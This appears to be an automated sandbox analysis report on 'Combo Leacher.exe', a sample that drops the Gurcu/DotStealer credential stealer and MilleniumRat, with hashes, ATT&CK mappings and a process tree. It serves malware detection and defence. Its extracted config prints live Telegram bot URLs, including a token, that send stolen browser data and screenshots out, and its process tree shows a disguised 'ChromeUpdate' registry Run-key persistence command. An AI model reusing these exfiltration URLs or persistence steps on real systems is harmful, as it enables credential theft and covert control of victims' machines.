gurcu | 4e900c9d6afa9da8cb9ffa5db15bc2ce4b16220e0e69716cdc88e39882cbfd4c

Analysis

max time kernel
14s
max time network
16s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
23-11-2024 03:02

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General

Target

Combo Leacher.exe
Size

11.4MB
MD5

acd646973ccafe31e48299647203e38c
SHA1

e3c284e5d57043bac8de81a5a88fd619fa0b5d29
SHA256

4e900c9d6afa9da8cb9ffa5db15bc2ce4b16220e0e69716cdc88e39882cbfd4c
SHA512

3203cd7de93cb0b6f6250692a4f626985c7035366248d8be1b0c979dea549ae6fd62a5a739ff9dd18b839a9a6b027d6b80b59455672553604d00139ac7d3d6d4
SSDEEP

196608:s/igW75bLmJoiSE/FteRQ6Drt4AMfHweVjIehglJx31nVWctIIEtTK:saQo6teRHrt4A0QkphCJ1VtEtTK

Score

10^/10

gurcu milleniumrat discovery persistence rat spyware stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/sendDocument?chat_id=-4590251468&caption=%F0%9F%92%A0DOTSTEALER%F0%9F%92%A0%0A%F0%9F%92%ABNew%20log:%0AIP:%20181.215.176.83%0AUsername:%20Admin%0ALocation:%20United%20Kingdom%20[GB],%20London,%20Englan

https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/sendDocument?chat_id=-4594364141&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0.25%20kb

https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/sendMessage?chat_id=-4594364141

https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/getUpdates?offset=-

https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/sendDocument?chat_id=-4594364141&caption=%F0%9F%93%B8Screenshot%20take

Signatures

Gurcu family
gurcu
Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu
MilleniumRat
MilleniumRat is a remote access trojan written in C#.
rat stealer milleniumrat
Milleniumrat family
milleniumrat

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	Combo Leacher.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	jjj.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	built.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	DotStealerBuild.exe

Executes dropped EXE 3 IoCs

pid	Process
2020	jjj.exe
1500	DotStealerBuild.exe
4932	built.exe

Loads dropped DLL 2 IoCs

pid	Process
1500	DotStealerBuild.exe
4932	built.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ChromeUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\built.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
13	raw.githubusercontent.com
15	raw.githubusercontent.com
27	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	ip-api.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	DotStealerBuild.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	DotStealerBuild.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	built.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	built.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings	Combo Leacher.exe
Key created	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings	OpenWith.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2176	reg.exe

Suspicious behavior: EnumeratesProcesses 56 IoCs

pid	Process
1500	DotStealerBuild.exe
1500	DotStealerBuild.exe
1500	DotStealerBuild.exe
1500	DotStealerBuild.exe
1500	DotStealerBuild.exe
1500	DotStealerBuild.exe
1500	DotStealerBuild.exe
1500	DotStealerBuild.exe
1500	DotStealerBuild.exe
1500	DotStealerBuild.exe
1500	DotStealerBuild.exe
1500	DotStealerBuild.exe
1500	DotStealerBuild.exe
1500	DotStealerBuild.exe
1500	DotStealerBuild.exe
1500	DotStealerBuild.exe
1500	DotStealerBuild.exe
1500	DotStealerBuild.exe
1500	DotStealerBuild.exe
1500	DotStealerBuild.exe
1500	DotStealerBuild.exe
1500	DotStealerBuild.exe
1500	DotStealerBuild.exe
1500	DotStealerBuild.exe
1500	DotStealerBuild.exe
1500	DotStealerBuild.exe
1500	DotStealerBuild.exe
1500	DotStealerBuild.exe
4932	built.exe
4932	built.exe
4932	built.exe
4932	built.exe
4932	built.exe
4932	built.exe
4932	built.exe
4932	built.exe
4932	built.exe
4932	built.exe
4932	built.exe
4932	built.exe
4932	built.exe
4932	built.exe
4932	built.exe
4932	built.exe
4932	built.exe
4932	built.exe
4932	built.exe
4932	built.exe
4932	built.exe
4932	built.exe
4932	built.exe
4932	built.exe
4932	built.exe
1500	DotStealerBuild.exe
4932	built.exe
4932	built.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1500	DotStealerBuild.exe
Token: SeDebugPrivilege	4932	built.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2340	OpenWith.exe
4932	built.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2280 wrote to memory of 2020	2280	Combo Leacher.exe	82
PID 2280 wrote to memory of 2020	2280	Combo Leacher.exe	82
PID 2020 wrote to memory of 1500	2020	jjj.exe	85
PID 2020 wrote to memory of 1500	2020	jjj.exe	85
PID 2020 wrote to memory of 4932	2020	jjj.exe	86
PID 2020 wrote to memory of 4932	2020	jjj.exe	86
PID 4932 wrote to memory of 3380	4932	built.exe	92
PID 4932 wrote to memory of 3380	4932	built.exe	92
PID 3380 wrote to memory of 2176	3380	cmd.exe	94
PID 3380 wrote to memory of 2176	3380	cmd.exe	94
PID 1500 wrote to memory of 2716	1500	DotStealerBuild.exe	95
PID 1500 wrote to memory of 2716	1500	DotStealerBuild.exe	95

C:\Users\Admin\AppData\Local\Temp\Combo Leacher.exe
"C:\Users\Admin\AppData\Local\Temp\Combo Leacher.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2280
- C:\Users\Admin\AppData\Roaming\jjj.exe
  "C:\Users\Admin\AppData\Roaming\jjj.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2020
- - C:\Users\Admin\AppData\Roaming\DotStealerBuild.exe
    "C:\Users\Admin\AppData\Roaming\DotStealerBuild.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1500
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpA3A2.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpA3A2.tmp.bat
      4⤵
      PID:2716
- - C:\Users\Admin\AppData\Roaming\built.exe
    "C:\Users\Admin\AppData\Roaming\built.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:4932
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\built.exe /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3380
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\built.exe /f
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:2176

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2340

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

Filesize
1.7MB

MD5
65ccd6ecb99899083d43f7c24eb8f869

SHA1
27037a9470cc5ed177c0b6688495f3a51996a023

SHA256
aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

SHA512
533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpA3A2.tmp.bat

Filesize
119B

MD5
7b520168d7ef6cc706241d1ed65ba42f

SHA1
a119262f0ad95bbb4ca8a6ad8a52e7c6db7ffe5f

SHA256
22a5bf26a3276c09158a8e6ab43753b13f9f0a4c891975ed9d0f7a6471428494

SHA512
de23910e1c7529f53e6ec0fdf575361834ae4f32548821fb3475821b6ddc224e7130139283f3402ba9b0efd61a70ef6930c7a6f1298e48480119e43ce6933dfe

Download Submit
C:\Users\Admin\AppData\Roaming\AdminUserCash\CREDIT~1

Filesize
116KB

MD5
f70aa3fa04f0536280f872ad17973c3d

SHA1
50a7b889329a92de1b272d0ecf5fce87395d3123

SHA256
8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8

SHA512
30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

Download Submit
C:\Users\Admin\AppData\Roaming\DotStealerBuild.exe

Filesize
5.6MB

MD5
52f581505afef83b39aefde9ae711e35

SHA1
579bbee21d09878d11cc10b045cd32c00dede4b0

SHA256
01bd7c1203d3bd62440082a8dd0789b46b7e0481ad98951f53487094784e0a02

SHA512
0a294de86a495d425b68fdc574e364868cf6629ebf12f426cbbb3258c35c5b93a41e6d5a4bad833733afb155fe965f03d1bf0fe73d5294a9f58dd4a6b8819c25

Download Submit
C:\Users\Admin\AppData\Roaming\built.exe

Filesize
5.6MB

MD5
63b01821cbe6ef9e33fb2b756da07fef

SHA1
e4f618bc9d7c7e534460499ac73eb7a97253aa69

SHA256
7666b280f3eae2e92b753115a29be18dc5d108775e174172308905a02b08e730

SHA512
10d96eed133fe5cc8a01bfe97649affcbf74aaa37ea7eebea545733cd300544a60ac11b9b47dbedd382e6004bc945acf0a78a796b32a1148fbb502fd7ed0adfc

Download Submit
C:\Users\Admin\AppData\Roaming\jjj.exe

Filesize
11.3MB

MD5
4dc27dd3f53e59f186fe7c78d9671874

SHA1
04e30a4612fdb4d53a9335a8ebbf2574d5027a55

SHA256
3b59d780cff0716f35557705bcc4a5d43ecabfa3e5fd79e93e4245049fab7585

SHA512
bd916c3515f0ef24969df0693d36ffd1bcc21acade1531bd7b0773892570d18255f89e3b52ee071937960b7372c70128ca64d1f22dc3107a2a368b77ae160135

Download Submit
memory/1500-29-0x0000020C21540000-0x0000020C21AD8000-memory.dmp

Filesize
5.6MB

Download
memory/1500-56-0x0000020C3C3F0000-0x0000020C3C440000-memory.dmp

Filesize
320KB

Download
memory/1500-47-0x0000020C3C010000-0x0000020C3C086000-memory.dmp

Filesize
472KB

Download
memory/1500-86-0x0000020C3C810000-0x0000020C3C822000-memory.dmp

Filesize
72KB

Download
memory/1500-61-0x0000020C3D420000-0x0000020C3D74E000-memory.dmp

Filesize
3.2MB

Download
memory/1500-46-0x0000020C21F10000-0x0000020C21F1A000-memory.dmp

Filesize
40KB

Download
memory/1500-59-0x0000020C3C7D0000-0x0000020C3C80A000-memory.dmp

Filesize
232KB

Download
memory/1500-52-0x0000020C21ED0000-0x0000020C21EEE000-memory.dmp

Filesize
120KB

Download
memory/1500-53-0x0000020C3C2D0000-0x0000020C3C33A000-memory.dmp

Filesize
424KB

Download
memory/1500-60-0x0000020C220D0000-0x0000020C220F6000-memory.dmp

Filesize
152KB

Download
memory/1500-55-0x0000020C3C340000-0x0000020C3C3F2000-memory.dmp

Filesize
712KB

Download
memory/1500-57-0x0000020C22100000-0x0000020C22122000-memory.dmp

Filesize
136KB

Download
memory/2020-15-0x0000000000050000-0x0000000000BA2000-memory.dmp

Filesize
11.3MB

Download
memory/2020-48-0x00007FF868440000-0x00007FF868F01000-memory.dmp

Filesize
10.8MB

Download
memory/2020-16-0x00007FF868440000-0x00007FF868F01000-memory.dmp

Filesize
10.8MB

Download
memory/2280-0-0x00007FF868443000-0x00007FF868445000-memory.dmp

Filesize
8KB

Download
memory/2280-1-0x0000000000F20000-0x0000000001A84000-memory.dmp

Filesize
11.4MB

Download
memory/4932-49-0x000001C5079E0000-0x000001C507F82000-memory.dmp

Filesize
5.6MB

Download